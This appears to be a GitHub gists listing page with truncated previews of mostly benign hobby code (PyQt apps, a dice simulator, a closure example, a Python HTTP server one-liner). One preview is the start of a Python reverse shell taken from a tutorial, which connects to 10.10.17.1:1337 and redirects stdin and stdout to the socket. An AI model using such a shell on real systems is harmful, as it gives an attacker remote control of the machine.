This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <bitset> | |
using namespace std; | |
// Convert base 10 number to base 2. | |
string binary(int num) | |
{ | |
bitset<16> bin(num); | |
string binrayString = bin.to_string(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division | |
import random | |
numRolls = 0 # Number of times the dice is rolled. | |
# generates a random number between 1 and 6, like rolling a 6 sided die. | |
def rollDice() : | |
return random.randint(1, 6) | |
# Simulate this 5000 times, then to get the prob of winning, do (numb of times won/numb of times simumalted). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def main(): | |
n = int(input()) | |
student_marks = {} | |
for _ in range(n): | |
name, *line = input().split() | |
scores = list(map(float, line)) | |
student_marks[name] = scores | |
query_name = input() | |
result = sum(student_marks[name])/n |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from PyQt4 import QtGui, QtCore | |
from PyQt4.QtCore import Qt | |
class Main(QtGui.QMainWindow): | |
def __init__(self, parent = None): | |
QtGui.QMainWindow.__init__(self,parent) | |
self.initUI() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Functions can return other functions. | |
Lets look at an example of how inner functions can use the enclosing scope of the outer function. | |
Known in Python as "Closure". | |
''' | |
def outer_func(name): | |
def inner_func(): | |
return "We are using the name {} inside inner_func".format(name) | |
return inner_func |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Get the shape node that is hidden in the transform. | |
selected_items = cmds.ls(selection=True) | |
if selected_items: | |
shapes = cmds.listRelatives(selected_items[0], shapes=True) | |
if shapes: | |
print shapes[0] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://www.thepythoncode.com/article/create-reverse-shell-python | |
import socket | |
import subprocess | |
import os | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(("10.10.17.1", 1337)) | |
os.dup2(s.fileno(), 0) | |
os.dup2(s.fileno(), 1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Python has a HTTP server built into the std library. | |
# Python 3.x | |
python3 -m http.server | |
Python 2.x | |
python -m SimpleHTTPServer 8000 | |
# These will server the current directory as http://localhost:8000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from PyQt4 import QtGui, QtCore | |
from time import strftime | |
''' | |
http://thecodeinn.blogspot.com/2013/07/tutorial-pyqt-digital-clock.html | |
''' | |
class Main(QtGui.QMainWindow): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
create a method that can determine how many letters and digits are in a given string. | |
Example: | |
"hel2!lo" --> 6 | |
"wicked .. !" --> 6 | |
"!?..A" --> 1 | |
''' |
OlderNewer